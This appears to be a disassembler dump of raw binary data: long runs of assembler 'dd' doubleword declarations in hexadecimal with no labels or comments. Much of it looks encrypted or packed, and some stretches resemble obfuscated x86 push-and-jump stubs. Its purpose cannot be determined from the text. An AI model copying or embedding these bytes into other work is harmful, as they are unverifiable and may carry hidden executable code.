		dd 0B395C92Ch, 0F169B417h, 0C662FCCFh, 79B2B79h, 2DDC0E3Fh
		dd 7B898CD2h, 94EB27F1h, 62034408h, 94677EB6h, 0B2E16E8Ah
		dd 0B69196B3h, 984647F8h, 8E3C57Fh, 2E104645h, 354CBDDDh
		dd 0DFCA1533h, 6AFEF920h, 52B60E6h, 0E53C3C21h,	5769EE49h
		dd 0E578C756h, 0EA0308E3h, 0F6D09016h, 6C7E2D3Ah, 0EE6966B6h
		dd 4149697Bh, 3F5B94F2h, 0E0CBFD60h, 0F50AF5Eh,	416F62F6h
		dd 94EB0CAFh, 8420BCA2h, 211B3C5Bh, 8975B4CAh, 0F4D7E96Eh
		dd 3893B5A9h, 0BDF1D548h, 0B64A0A4h, 309C6F49h,	94EB0CA1h
		dd 0A155298Ah, 179A7FE2h, 8B55D51Dh, 19218A26h,	907DE990h
		dd 68217D97h, 0AD000000h, 76E1C781h, 6CD0451Bh,	4167CA39h
		dd 0A073BAD6h, 0EBB09C2Ch, 3A0EB794h, 9749620Ch, 0B1A7Dh
		dd 0A04F0000h, 0EBBC1A94h, 3AF36F94h, 0EADA819Ch, 261E7Dh
		dd 0B0A7FA89h, 61E03F8Ch, 7F8D1847h, 94EBC0CDh,	9C6F9E80h
		dd 0D48A7EF7h, 938FBFA9h, 0B17F4D0h, 90420D3Ch,	6D530619h
		dd 381E56B1h, 5B6DF0AFh, 81E8EC52h, 0B904E7D9h,	0FE49A2A2h
		dd 352D8145h, 0F8789713h, 0AAAE0DDEh, 0A2533794h, 9FAD38DEh
		dd 94EBC0EDh, 880FFE60h, 7D96DFEEh, 6B96h, 12713000h, 71B0794Fh
		dd 7B5D14E9h, 99728E90h, 0BC80D7B2h, 0C7DAD36Fh, 0FE709C91h
		dd 9394EBC0h, 0B9E4738Fh, 0E6E8ACA2h, 2FFE2F6Ch, 0B5F9CD66h
		dd 1F9BADh, 3887645Eh, 0CACC1F39h, 4F2B572Bh, 0F77D9738h
		dd 62h,	0F4213D58h, 417422BEh, 6B40DC26h, 81B0D6D7h, 1D78E7D9h
		dd 0FB8A0345h, 2289B3A4h, 980EF24Bh, 9C00FCC6h,	1EADA81h
		dd 0EBC03ECBh, 0B094CD94h, 594C045Bh, 0EBC0A14Bh, 2E4AD494h
		dd 0E0C67EDDh, 984F332Ah, 32E8DC65h, 5AD09447h,	4BB4DEB6h
		dd 1F2A39D4h, 5376B7D3h, 7D973017h, 1CFh, 12710B00h, 6AB57452h
		dd 0A4FBD0F6h, 0CE5D8AACh, 0EBC008A2h, 2CDD7D94h, 0D2B6AF59h
		dd 4A4678DCh, 0D17E73C3h, 0C6D9C2C3h, 7F1AA98Ah, 740AE1DBh
		dd 3F38C06Ah, 0F0FE396Dh, 0AE47C74Ch, 662CD4Dh,	0F19CC43Bh
		dd 958568A1h, 1F91BF4Ah, 726D3F48h, 136E3DECh, 4EABA451h
		dd 0D8EF37B9h, 2D2740BCh, 42B9E4D8h, 821EC02Fh,	3317A329h
		dd 0FD766D3Fh, 85A3A509h, 8376EE09h, 47CF36AFh,	53B8D446h
		dd 9972540Ch, 0DD2E1842h, 5E6D87Eh, 6F14E5A6h, 84E7671Eh
		dd 2704EBDFh, 0F9944A3Eh, 0F38F5C60h, 4B6DE73Ah, 0DB1E484Fh
		dd 47C6776Ah, 1, 38500271h, 0E805316Ah,	0B3C03021h, 0E1111824h
		dd 0F26C8AC6h, 15473219h, 5BC3DD8Fh, 22227DACh,	0F56F8804h
		dd 0D9754F10h, 7A4E138Eh, 33154A91h, 0E32A46D8h, 6E8BCD10h
		dd 67FBD0F6h, 5B019CCBh, 43C601B6h, 3C587AEBh, 60EF3ECDh
		dd 8130A6D5h, 0E2B55332h, 3E6C7AF4h, 9A130F6Dh,	4F099D61h
		dd 402AAD69h, 0E4776C86h, 4Fh, 10206FE6h, 8CDB7751h, 0EBC0AE60h
		dd 1AC0CF14h, 0D945D084h, 0DF7B4D13h, 0F8D34F2Eh, 183E3655h
		dd 527EAFB3h, 14EB53D8h, 0F99B6F86h, 0EEFA658Ah, 94EB533Ch
		dd 0E882AE3Dh, 9D94EB53h, 5308A2CEh, 0DD7D94EBh, 0B5A54841h
		dd 8CEA79h, 6FCC0000h, 0F685D21Fh, 2FFCD89Bh, 18223413h
		dd 0DB82FF91h, 4DCD8AC6h, 0C421237Eh, 930FAB8Dh, 5F19FC74h
		dd 0B38C9279h, 907B97B1h, 3F25AF3Ch, 0D867CA6Dh, 3F3922CCh
		dd 5208576Dh, 6B879B70h, 7122331Ch, 0F1386427h,	63E7448h
		dd 1565E420h, 0E2618FD8h, 69730A43h, 8DC71AF1h,	0FB613CABh
		dd 5158E6C5h, 4E3DD2C2h, 127E7CC4h, 49F23B12h, 9DC2C175h
		dd 0CF3E40ABh, 5681EE5Eh, 7FEF8D4Ah, 8EA1EC79h,	7E37ECC5h
		dd 0D24C2FDEh, 1F6FC2D6h, 0D87785D2h, 778ADE5Eh, 0BBBD00EBh
		dd 4E06619Dh, 3E8DB7ABh, 8A505720h, 4371DFEh, 0BACD03E8h
		dd 0E3E6E250h, 3030764Ah, 23BF89D5h, 2DC888E7h,	0A5B51636h
		dd 4B9C2E3Ah, 69F1EB62h, 0A0A3FECDh, 0C0752784h, 675B46FCh
		dd 955C762h, 0D470540Dh, 0AC8ACAD5h, 0CBED6423h, 41031CC2h
		dd 3CD8467h, 0B5000000h, 0DC817A5Eh, 84BC03E8h,	6DF249A2h
		dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh
		dd 15489774h, 5008D833h, 405E089h, 83000000h, 0FF5004E8h
		dd 58042474h, 5C24048Fh, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch, 0FF682434h, 89000025h, 0BF57240Ch, 720E0786h
		dd 95CF8147h, 515B2963h, 0AA5840B9h, 8EC1811Bh,	16F58C2h
		dd 0FE8959CFh, 0C8B545Fh, 4C48324h, 242C8156h, 7F1136D9h
		dd 8108418Fh, 36D90841h, 34FF7F11h, 0C4835924h,	2434FF04h
		dd 4C4835Eh, 0F8F80FE9h, 1D73FDFFh, 2BB85ECEh, 3063287h
		dd 43E0FFC5h, 9B76C377h, 1B3CBFB9h, 0CD519431h,	4A092767h
		dd 21616BCAh, 90438DF6h, 0E21F6A6Ch, 3B1A9C0Bh,	0A768C3A4h
		dd 0F72054ADh, 6203D239h, 5913FFDCh, 2606E446h,	0E9398C82h
		dd 1Ah,	66508E41h, 5 dup(0)
		dd 1EE90000h, 6800000Eh, 6328A85h, 0F8F79BE9h, 8BAB68FFh
		dd 91E90632h, 68FFF8F7h, 6328C9Fh, 0F8F787E9h, 8D4268FFh
		dd 7DE90632h, 68FFF8F7h, 632904Ah, 0F8F773E9h, 936368FFh
		dd 69E90632h, 68FFF8F7h, 6329485h, 0F8F75FE9h, 4183D8FFh
		dd 11372A45h, 0E0E67A95h, 0AC88CB24h, 79431770h, 148170BDh
		dd 63BC7842h, 0B2CDC9FBh, 1F9BADh, 0F0AA6640h, 48A34D5Bh
		dd 52D692D9h, 0E7D9817Eh, 441D78h, 871697ABh, 0E11D2738h
		dd 8CDB1868h, 88BEA2E1h, 0BF311F23h, 0D294EBC0h, 7BF5034Ch
		dd 0E94EBC0h, 6A769910h, 8AC6F16Bh, 0ED0FAFE2h,	0C109F2Fh
		dd 0CCD867F0h, 6D3F0822h, 37BE1857h, 8078FD84h,	0FAD6A564h
		dd 6D3F736Ch, 0B39A0926h, 89CDB129h, 0B2968F7Eh, 620E810Ch
		dd 1EF877ACh, 817EE8EFh, 415C776Bh, 0B9C12A1Ah,	41BB70h
		dd 6F270000h, 7785D21Fh, 8AC68E7Eh, 3543EE7Dh, 6D3F0EBBh
		dd 0E48650CEh, 996D3F0Eh, 0F5650881h, 0E2CBA16h, 87DD6D3Fh
		dd 42176A41h, 61DAAD7Eh, 6C50099Dh, 5135CCD0h, 6BA84925h
		dd 7FD77h, 75D90000h, 8E7h, 0E1C7816Dh,	9BBDB70Ah, 519EEE1Fh
		dd 0C36D7B06h, 0B694EBC0h, 0C2EE61A8h, 8AC6DE3Fh, 0EF81AF3Ah
		dd 626D3F3Eh, 0F06E0DFCh, 0D372867h, 35C3099Ch,	7F6D3F3Eh
		dd 9AD402C6h, 42776BDBh, 5Bh, 0F0D28807h, 86071Bh, 85D21F6Fh
		dd 80AC8BF6h, 424EC8FAh, 0EBB6B436h, 3551C994h,	9CD5DCF4h
		dd 39C48AC6h, 3E9F812Bh, 0A36AF46Dh, 5F8D5EC0h,	6D3E9FB1h
		dd 0D0867AFBh, 9FB53745h, 56C86D3Eh, 8C5F61F9h,	0D29C3BF2h
		dd 8A776C38h, 100h, 0AB9DC0DFh,	0FB613E40h, 81C6C4C5h
		dd 0B76E1C7h, 0EEAF99DFh, 0A776B71Eh, 0EF3C0658h, 15F6D090h
		dd 6CA88EC6h, 0EB8EB462h, 25034594h, 3D237EE9h,	0DB886DD8h
		dd 1BB771DEh, 0F3D58F92h, 96DB2B18h, 8F2E3B49h,	0D9418AC6h
		dd 694732DDh, 3FBF39D0h, 5FEAC683h, 0B3536A10h,	7479C97Ah
		dd 0E22DBCEBh, 0D23BB5C3h, 0D04E6D3Eh, 0A4EF5767h, 0BFDEEA65h
		dd 0BA730CD2h, 39FD59CFh, 5DAEC2E4h, 5B4AF7B8h,	6EF04FEBh
		dd 48D65554h, 0E4DE801Fh, 3341EC7Bh, 6743EAB9h,	0EA8452CCh
		dd 9F6743EAh, 8AACA483h, 1E405F03h, 0E29E9E24h,	0DE0D5059h
		dd 0AF477h, 6D570400h, 3D0356B1h, 8CB2A6C1h, 587CF710h
		dd 251F435Ch, 40DD9CE9h, 8FE8241Eh, 0DE39F5CFh,	2C4B4779h
		dd 0C4961234h, 4A971927h, 6EEA92D9h, 24D9814Ah,	9DBD0E30h
		dd 0C0842632h, 61F994EBh, 535EC9C5h, 0FBE4525Eh, 8C931A13h
		dd 0A236F2D4h, 85D21F6Fh, 0C6EA7277h, 96CE0D8Ah, 0ABC75BB0h
		dd 2AFE8C40h, 4A0F6D3Fh, 0E469576h, 310B4F28h, 665A13DAh
		dd 22E61F83h, 6BC37AF4h, 0E72277h, 98270000h, 8B6064FDh
		dd 2647E9F7h, 243A6D3Fh, 0C781E1E5h, 4CD9EE32h,	4CB3B4DDh
		dd 89152A48h, 9BC460FCh, 886345FCh, 196437F6h, 0A5D07F41h
		dd 94E0A14h, 20AE4837h,	0B89766A7h, 206D1F2Dh, 7EE094EBh
		dd 413018Fh, 0A2A294EBh, 801F0884h, 7806E5DFh, 0D0F66EB1h
		dd 0F5FA4AFBh, 0C4292F6Ah, 0E65E3C90h, 0D2DB77EDh, 3200113Fh
		dd 0F36F8AC6h, 6AC63637h, 26B1CDEBh, 0CB8701Ah,	4A958573h
		dd 0C01F91BFh, 0EC726743h, 36F7D193h, 0E0DA7C1Bh, 7E97CB24h
		dd 1A9D68BFh, 0D55FFB2Eh, 5059A5F1h, 0CEB6994Ah, 2A000009h
		dd 7C9B1731h, 0CC2BE7D9h, 1D7AB688h, 6986025Ah,	0A6D3CFF1h
		dd 0CEF066F3h, 9FA9B5D2h, 69530463h, 341252ADh,	0FF0D22F8h
		dd 92D94B4Dh, 712C0400h, 0BB72E102h, 0B27B18E2h, 0D5D1EB6Fh
		dd 609CBABAh, 22C7817Ch, 0ACA3083Eh, 0EBC0EE80h, 63FF6394h
		dd 7AFD98C7h, 38F18962h, 785E1665h, 0C974A0EFh,	0FE497FE2h
		dd 8F7E4BCFh, 9C8D7BD3h, 8C98C72Ch, 8AC6F4C9h, 0B725E27Ch
		dd 0D775C948h, 6D7BA515h, 0C4FBD5C3h, 0C8C87A3Ah, 0BF7C2CE1h
		dd 0A892C4A3h, 48D4C30Ch, 0F0CFE60Dh, 25B05F4Eh, 0C1C8EE66h
		dd 0D63046CFh, 0D7C269DAh, 0D2DFB16Fh, 1B954301h, 2DD0E03h
		dd 0E0374F6h, 0AA1109DDh, 82B318B4h, 86923D32h,	0C33F9F8Dh
		dd 42319E80h, 0FCBC3ADEh, 0E968A167h, 251F3F5Ah, 0FDDB9DE4h
		dd 9B6EE601h, 32DFC1EFh, 7D8723C4h, 4A8B53h, 0DA004B98h
		dd 1E000008h, 708F0B3Dh, 0C0DFDBEDh, 116EAA9Ch,	5DBA7656h
		dd 0BAC7C305h, 0C2045AC7h, 93B5A9C6h, 5D67F817h, 280E46A1h
		dd 0F3012EECh, 92D94C79h, 8130080Ch, 83E22C7h, 0DE2E1FECh
		dd 0DF3A4691h, 0F68AC6F5h, 0BFA0FF68h, 1500AAB6h, 0B196D3Fh
		dd 6D3F1561h, 0A9B10A14h, 0B86910Dh, 81997256h,	3F8CB2A6h
		dd 0C297EA23h, 8723253Dh, 1506A824h, 8966D3Fh, 176D3F05h
		dd 7E1D4AA7h, 2C23EADCh, 121D6900h, 510D8873h, 5D8A9477h
		dd 427CBD4Fh, 5F4ED067h, 126942DCh, 0ECCE7452h,	1F505850h
		dd 83785CCh, 9AC30000h,	4E1572AEh, 0FF65827Eh, 0B3B2CDC9h
		dd 58FE1995h, 985FAA66h, 0A5615BFFh, 0FA36104Ah, 480C49Dh
		dd 534F69EBh, 0D4566289h, 0A992D94Dh, 1F6F97ABh, 0F27785D2h
		dd 8D8AC6D8h, 7CE33E8Dh, 0C0801F48h, 0B47505E6h, 9AAAB1CEh
		dd 31174E4Dh, 6B2625F8h, 29DAD3F5h, 617B43DDh, 0FD6D205Bh
		dd 98EAF661h, 0ED6D3F54h, 77EE9E6Dh, 4381F93h, 83A7ACDBh
		dd 0B36AC2DDh, 0C9B847Ah, 3FA14EE0h, 0EE1F036Dh, 3FA154E2h
		dd 0C1FF4B6Dh, 3FA139B3h, 0B6D24C6Dh, 0A1B51B29h, 0E9A46D3Fh
		dd 0D95C4D73h, 0A1C46672h, 22256D3Fh, 2299A10Ah, 0FB64A03Ch
		dd 0D50A59Ch, 4D62B0Ch,	97EA23BFh, 0A12FFCC0h, 6D3F231Bh
		dd 0C4EADE47h, 25367C91h, 0D86E002Ch, 7FE36D3Fh, 4F23B630h
		dd 0C598F733h, 0C6A42883h, 976D3F1Dh, 211B3CC1h, 99DB2685h
		dd 7F13816Ch, 0D06CEB9Fh, 0CFB3A8FBh, 976B9218h, 0A5BB4C13h
		dd 9A3648A3h, 56A3EF1Eh, 596EFB09h, 19016D3Fh, 258B1EB2h
		dd 94ADE0D8h, 11E882B0h, 619C030Ah, 3E000001h, 85D21F6Fh
		dd 0C6EAEA77h, 1E46858Ah, 166AEC0Ch, 0D5B01FBBh, 1E79B593h
		dd 0A4AB0026h, 0A9BAD1F9h, 0BFA08FB1h, 39575674h, 0F5F61949h
		dd 0DDD1B54Eh, 0D641BD9Bh, 0BE5FB0ABh, 0AB62ACBBh, 0D13A1C54h
		dd 0DFDB1864h, 44A781C0h, 5D597FF9h, 0C7240242h, 0EBDE2909h
		dd 11F50E95h, 1FDDB9Dh,	0D78B6EE6h, 0C97A51EDh,	0D9E7707Dh
		dd 94E8DE57h, 9FF8342Ah, 392A81BBh, 2937A0CDh, 94E8DE83h
		dd 4BA460FEh, 81DC2F09h, 1D78E7D9h, 0A99FC247h,	1F099C0Dh
		dd 0D48C22E6h, 9FD936F2h, 75832EB9h, 94E8DEFBh,	8A19908Eh
		dd 0CBD36DD9h, 73A6BE6h, 0F5DE2810h, 0F0DA898Ah, 26D75967h
		dd 0B4AA94E8h, 7A1CF18h, 4A94E826h, 0D0FC8BD4h,	94E8265Eh
		dd 516BEC33h, 0F10EF435h, 277A5177h, 0B197CD32h, 20BC82D6h
		dd 562AC3CBh, 0FA361050h, 2EFDDB9Dh, 0C9F36423h, 0BCAD5CE2h
		dd 29B42350h, 0E826911Bh, 0ED7AE494h, 0E8262DDFh, 0CF3E2094h
		dd 1A26B540h, 94E82690h, 1CB475E5h, 94E8269Eh, 318E109Fh
		dd 0A18EB0A4h, 1A934F0Ah, 0EA13449Bh, 0E77B5076h, 94F32F4Bh
		dd 2112F9C3h, 139DABD5h, 0EA94E8A5h, 24B759ADh,	1F42B943h
		dd 9FE80438h, 4C5B3803h, 428D2912h, 0E82A8436h,	82D6B594h
		dd 0DAD36FBCh, 0D7CBC75Bh, 25E1C781h, 9C4CD424h, 0A682728Dh
		dd 5DE87793h, 0E86342Eh, 5C4DD8E4h, 0C6561934h,	0A7B5408Ah
		dd 6D3E4605h, 4427E678h, 490E8DDAh, 0FB5CBB77h,	979EAC1h
		dd 0AC6D7BE4h, 0A3731373h, 9E2C47Ch, 0DAF6D571h, 67418B4Ch
		dd 418EE353h, 0BF81D7B2h, 59D3E16Ch, 2C67418Bh,	79179632h
		dd 796C93F0h, 0A64854E3h, 0DB799483h, 0BBA74647h, 426EFD50h
		dd 799483A8h, 354CBDDDh, 0D5EF1533h, 325682C9h,	52F6EE1h
		dd 92CB0000h, 461D7AB6h, 0F76D8A06h, 0BBBAD5D1h, 5006619Dh
		dd 9047B26Eh, 0AD695307h, 0C23E0852h, 0C88BCA5h, 5B5771F3h
		dd 0AC5E6A81h, 0A192D950h, 1F6F8FA3h, 0EA7785D2h, 858AC6D6h
		dd 0F9A3695h, 0FA6D3F36h, 8EB8A267h, 2A811D3Dh,	52B983D7h
		dd 9873550Fh, 23E71E86h, 0D5A9484Ch, 6BD3BDA9h,	0AC6177h
		dd 0F06D0000h, 94EBC052h, 9813E273h, 84D674E8h,	13492642h
		dd 2440DE2Dh, 5ABFB986h, 685C0306h, 0C763FFCCh,	0FCF342CBh
		dd 8CA34553h, 0B8A66B14h, 0CD15802Fh, 3637ED4Dh, 8F9416C0h
		dd 71E96B14h, 0DE96E5B8h, 0BE0D3CF8h, 981A26B1h, 0ED6B148Fh
		dd 24B39E6Dh, 148F9618h, 0A3B4EB6Bh, 758C7D99h,	7F4116F3h
		dd 0D72627E3h, 0B3214F98h, 0DE6B148Fh, 4FEBDD83h, 0CFC2507Ch
		dd 679E6B14h, 9E92E1A3h, 0C72A81A7h, 7574649Eh,	36C88BCh
		dd 0D73F125Fh, 0BF284457h, 654660E0h, 2F3DD4D5h, 6B14EDA1h
		dd 487CE5A0h, 40BCA241h, 0D2D3h, 1F6FC700h, 0F27785D2h
		dd 8D8AC6D8h, 4F4AB55Eh, 2B4782BEh, 0D4E17DC0h,	3FB226C8h
		dd 0ABC75B6Dh, 6699FE6Fh, 0B245EBF9h, 0E5386D3Fh, 0B651987Dh
		dd 150C087Fh, 0C38E5DF9h, 0F66D90C4h, 0C951BAD6h, 2723B0C0h
		dd 0C8696D3Fh, 0C4ACC6F4h, 8050776Bh, 72000000h, 8AD52A6Fh
		dd 0EBC0CC7Eh, 325EED94h, 94EBC0B8h, 0D95C4DCDh, 47176A41h
		dd 5B95F9AEh, 0EF0B2C72h, 5232560h, 0AD1198A6h,	60E357BCh
		dd 0E0BF2844h, 0DA644761h, 52103CD3h, 0D394EB84h, 0E3B88DA4h
		dd 84905F7Ah, 94EBD6EAh, 0A667839Fh, 5C705BC7h,	94EB96CEh
		dd 3C1E7D92h, 0A6988CD9h, 9834258Dh, 45FE2F33h,	9CBEDD81h
		dd 8DF263AAh, 91EFFD6Ah, 0FC6B141Dh, 1144B9A1h,	2638932Fh
		dd 818A0E8Ah, 93F22C7h,	0AB009CA2h, 0AD3A1C54h,	55546AEEh
		dd 3C237EE9h, 162A2F08h, 0F364A5B5h, 52E16E83h,	7F65EF27h
		dd 612C2FCh, 94EBFE64h,	8AE50119h, 963AF3D5h, 8AC6E003h
		dd 0A12FFC62h, 6D3EFC13h, 614A7CE2h, 99C5401Ah,	0A6C25CAFh
		dd 0F5C96245h, 10685AA1h, 6581AB74h, 8EBC80B1h,	776CBFE4h
		dd 5998h, 0E2713A00h, 0EBC054D6h, 0F8312994h, 6DFAF747h
		dd 85BFD3DEh, 9919C9BFh, 760FCC0h, 0FF83684Ch, 0B96F820Eh
		dd 0FF8A8AC6h, 3EFC5FD1h, 0FD2C326Dh, 5CB203Eh,	6D3EFC77h
		dd 2E9CF86h, 44A799BFh,	0FC71FB09h, 1A046D3Eh, 0D6996D90h
		dd 234F33C2h, 776C1647h, 0C2FFh, 1271DB00h, 8C92794Fh
		dd 6442021Dh, 1C263887h, 0D6F070CFh, 88AEA6F5h,	0D084030Ch
		dd 63913FEEh, 1294EBDBh, 0AFB87452h, 0FB546EF0h, 0F08E5D67h
		dd 486EE639h, 6D82F263h, 77C3D6E2h, 7FA27539h, 7608E3C5h
		dd 651DBE9h, 3A246D3Fh,	0E52319Eh, 1C0DF138h, 0C1847ACh
		dd 730DC61Ah, 0FD9A5443h, 159FA8A8h, 0DE091194h, 69A59FC3h
		dd 0CC76480Eh, 505A3802h, 1677DE0Dh, 0E2000002h, 34534F79h
		dd 84E31F21h, 0D532EED0h, 217EBA92h, 7E8B0739h,	6381EBBh
		dd 0D7F16D8Ah, 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92D953B5h
		dd 81744CC8h, 0CC2BE7D9h, 5BA36194h, 0A7BF315Fh, 4CD294EBh
		dd 3BA812E3h, 6F7F639Fh, 0F685D21Fh, 0A852C39Bh, 8920A2DFh
		dd 345C4DE9h, 8AC6913Dh, 6EFDCE50h, 96173133h, 3EA56CFAh
		dd 2B1F266Dh, 6C3E73FFh, 10225177h, 0AD4C6A03h,	64294616h
		dd 12AE6877h, 0EC0E9Bh,	54430000h, 3B14693h, 0BE036C6Eh
		dd 81828441h, 71FC9A13h, 0C054D6E2h, 312994EBh,	89AFA9F8h
		dd 2701435Eh, 0A073BAC4h, 6568EEADh, 0EBC0D557h, 1AB6A894h
		dd 2160A9B1h, 28A40739h, 94EBDBFAh, 33EFC98Bh, 2DBA9CD4h
		dd 0FAD1F76Eh, 2289B3A7h, 7A09801Ch, 0B23C48D7h, 0C76B143Ch
		dd 71ECEC5Bh, 4846C1E2h, 0D060D041h, 0CE19B58Fh, 39B29FA2h
		dd 5FFF9A75h, 59C1A465h, 175CAC5Dh, 0DA9BCC8h, 62FC730Dh
		dd 332B66F5h, 0D1899811h, 82D433EFh, 0C0460AB8h, 0AE7D505Bh
		dd 0F4A7h, 6D570400h, 3D0356B1h, 8CB2A6C1h, 587CF710h
		dd 251F435Ch, 40DD9CE9h, 8FE8241Eh, 0DE39F5CFh,	2C4B4779h
		dd 0C4961234h, 54971927h, 6EEA92D9h, 24D9814Ah,	9FA30832h
		dd 0E8688703h, 5645D2CEh, 3332CC20h, 0DFA8B615h, 342B7663h
		dd 0BA7BB10h, 0E2710482h, 0EBC054D6h, 0F8312994h, 2289AFA9h
		dd 474365DFh, 0EE7976C6h, 0DE5838C2h, 0D872218Ah, 4FD3B2A7h
		dd 95C8AB62h, 23053CC9h, 0A24C5887h, 0D76D2641h, 81DC2F4Bh
		dd 3A25E1C7h, 45EE8D4Fh, 37F6FC65h, 7D4E68E8h, 98ACB3EEh
		dd 0D2FE2F33h, 0CC04349h, 0A509FD76h, 0EE0985A3h, 88075076h
		dd 21CEFC9h, 0A00B3D25h, 419C6F9Eh, 0DBC52606h,	8485E22h
		dd 3665F22Eh, 9B1E6134h, 748B0258h, 0FE8DDAFCh,	804C58D2h
		dd 0BB27A10Dh, 0AD2CF02Bh, 4AD9D04Eh, 0C03h, 271F700h
		dd 0F0F451B6h, 5A9C0D0Eh, 0E8DC817Eh, 0A284BC03h, 5B6DF249h
		dd 17312D70h, 0CFF169B4h, 87B9A1FCh, 0BE9ED924h, 744A0E6Dh
		dd 33154897h, 895608D8h, 4C681E6h, 83000000h, 343304EEh
		dd 24343124h, 5C243433h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h
		dd 68243489h, 4A8Bh, 57243C89h,	6D68EEBFh, 0FFC7812Eh
		dd 81FFFFFFh, 5FE0B4F7h, 5FFE8928h, 8904EC83h, 4832424h
		dd 835F0424h, 348904ECh, 8478F24h, 57243C8Bh, 0C781E789h
		dd 4, 8704C783h, 8B5C243Ch, 89532434h, 4C381E3h, 83000000h
		dd 1C8704C3h, 95E95C24h, 6FFFF8E9h, 66B78AF2h, 41A77598h
		dd 81F0E038h, 959EB854h, 0C5030632h, 82B0E0FFh,	5A130775h
		dd 0CF5D7463h, 0B787458Fh, 4B2536B9h, 850D7927h, 9ADA56B5h
		dd 7EF90BCAh, 28AC6924h, 52EF3563h, 14B27CC5h, 6D62336Eh
		dd 5946218Ch, 0A413E6Eh, 0F5A91604h, 0AE3A2DF5h, 3C9B20ADh
		dd 0DAF0091Ch, 0FBF25B44h, 5A950BF5h, 9D456210h, 7EF4C2Ah
		dd 13B518C4h, 0F5CD2014h, 0B43438C2h, 0B8ED03D7h, 0E909498Ah
		dd 0CB8694Bh, 2B4A5F52h, 79AE6AEBh, 14E8455Eh, 6F000000h
		dd 0E2868CAEh, 0A597F3E1h, 275AA88Fh, 0E9FE33CFh, 0F5365842h
		dd 81A7B558h, 6201C0h, 0D820F00h, 0E9000000h, 8, 0B0850DDEh
		dd 0A5CC6A15h, 1853BEh,	6E0EBA00h, 30FF2834h, 5E9h, 1D82A700h
		dd 0E85B6587h, 0Fh, 98AEC347h, 5A745B2Dh, 48FB14Bh, 5A9B656Ah
		dd 6B78F381h, 0E7813697h, 395E4DA7h, 4FEEC381h,	0FA8B561Dh
		dd 9DDEF381h, 8B537BC4h, 0E9008FD3h, 0Eh, 0F7ADCA6Bh, 3B7C4F48h
		dd 4965D0C9h, 0E883D499h, 0F88B6603h, 8C0F6048h, 2, 14BE5E50h
		dd 611E458Dh, 1EE81h, 850F0000h, 0FFFFFF8Ah, 0C78B6660h
		dd 61DFD080h, 13E8h, 4DDE8300h,	38202A1Eh, 4EF10179h, 1F01DF5Bh
		dd 8DE13461h, 7449B866h, 0BE959h, 0A5370000h, 32D9246Fh
		dd 17C12D8Eh, 0ABC181A2h, 0BA000074h, 104EC399h, 8BFCF633h
		dd 0E18A311Ch, 8E59EB81h, 8C0F786Fh, 5,	0C71D45BFh, 0FEEB8138h
		dd 0B842595Ah, 1916A8B3h, 0C4B7C381h, 0CE940BBh, 62000000h
		dd 234E89C9h, 175FA65h,	89403BD5h, 83F5311Ch, 0F56002EEh
		dd 7549E081h, 4E614618h, 0CE94Eh, 33720000h, 77318233h
		dd 0D9C197EFh, 0FE8197B5h, 0FFFF8BF0h
		dd 0FF99850Fh, 0C9B0FFFFh, 0ECE9h, 0
		dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
		dd 0E6000077h, 277h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 200h, 76AC2C00h, 11EF2232h, 1A064916h, 15668EB6h, 15E04B32h
		dd 1A662232h, 15661FB1h, 156E6032h, 58994432h, 1E2E8187h
		dd 7438CBD4h, 149F35B1h, 60664219h, 9CDBA13Bh, 15603A24h
		dd 46369146h, 4DE84B9h,	9C662236h, 3E7D90B7h, 60FB0534h
		dd 0EA60698Dh, 963E79E1h, 3E70988Fh, 2128834h, 4DE1762h
		dd 9C662236h, 3E7D90B7h, 71FB0534h, 0EA60698Eh,	0EC3E79E1h
		dd 11ED41C7h, 11A20B16h, 20DBC7CBh, 156010AAh, 1538953Dh
		dd 78F8832h, 2F664432h,	697129E5h, 33F28211h, 0A2D5A032h
		dd 0EDBFFEABh, 98694227h, 15661130h, 980771B8h,	270FACB7h
		dd 0A2694234h, 156EF8C8h, 4EE18832h, 0F8A8AED4h, 0EA0761F9h
		dd 90EBE9E2h, 1354E22Ah, 156650DBh, 107D7132h, 18D0C27Fh
		dd 53091F5Fh, 14F312C6h, 430C15C7h, 0ECB6EE41h,	264B0DF4h
		dd 0ED304219h, 0BDDE705Ah, 1563F8AEh, 4AC88832h, 0EDA8519Eh
		dd 0EBB97CDh, 128F1719h, 0F8668832h, 5D8A555h, 989EB744h
		dd 3BE5FAB7h, 0C5997D34h, 1565C13Dh, 0EC062232h, 40E39853h
		dd 0FC60A333h, 1566443Eh, 1904521Fh, 78A058DAh,	0F2588790h
		dd 267BC1F5h, 15662419h, 0D39F1132h, 3E55A5B7h,	1A060134h
		dd 9669D985h, 15661134h, 15660B3Dh, 7D074432h, 9B144B5Bh
		dd 15609F3Dh, 9E068832h, 74B8F7CAh, 1E7B97CDh, 1A061719h
		dd 58E408Dh, 0F664432h,	0A5C436A3h, 696D9F7Ah, 0EFCB5765h
		dd 4EA03BDFh, 30E3AF53h, 0EC603A0Eh, 9D6958CDh,	15664424h
		dd 1576AB3Dh, 1E8F1132h, 45668832h, 4476EBFBh, 1692BB1Bh
		dd 90EF0D4Dh, 134D8AF7h, 156656DBh, 0A8BE5432h,	0FBD58061h
		dd 5B170B15h, 0FEBBC8E9h, 0D3C0087Eh, 3E553CB7h, 7D9ACB34h
		dd 89012F6Ch, 1575A03Dh, 1B8F1132h, 25668832h, 2D4F9AB5h
		dd 6BDB18Ah, 0C9BA8CECh, 8D377DFh, 0ED606F39h, 0DBE74452h
		dd 9E001F02h, 90EBE9E1h, 134D7817h, 156632DBh, 4FFB7532h
		dd 0E3810D48h, 0BBF4F882h, 5081386Bh, 0F5E7710Bh, 776A0D75h
		dd 1AB6BB53h, 15663BB8h, 74067132h, 156687DAh, 312B7832h
		dd 0FBCB635h, 0F64918A8h, 21D1E011h, 90EF2569h,	1354BA2Fh
		dd 38E3D7CBh, 4160A301h, 156656DBh, 0ECB21132h,	91C886E4h
		dd 923D5E27h, 85377D71h, 7DEF57C0h, 0FB04791Bh,	0AA69E852h
		dd 18E7FBFAh, 0FD072933h, 1566113Eh, 6FE4BAB7h,	2F1D0B2Fh
		dd 0AF804957h, 0EA074EC7h, 3E6D9587h, 1575AD34h, 4B482232h
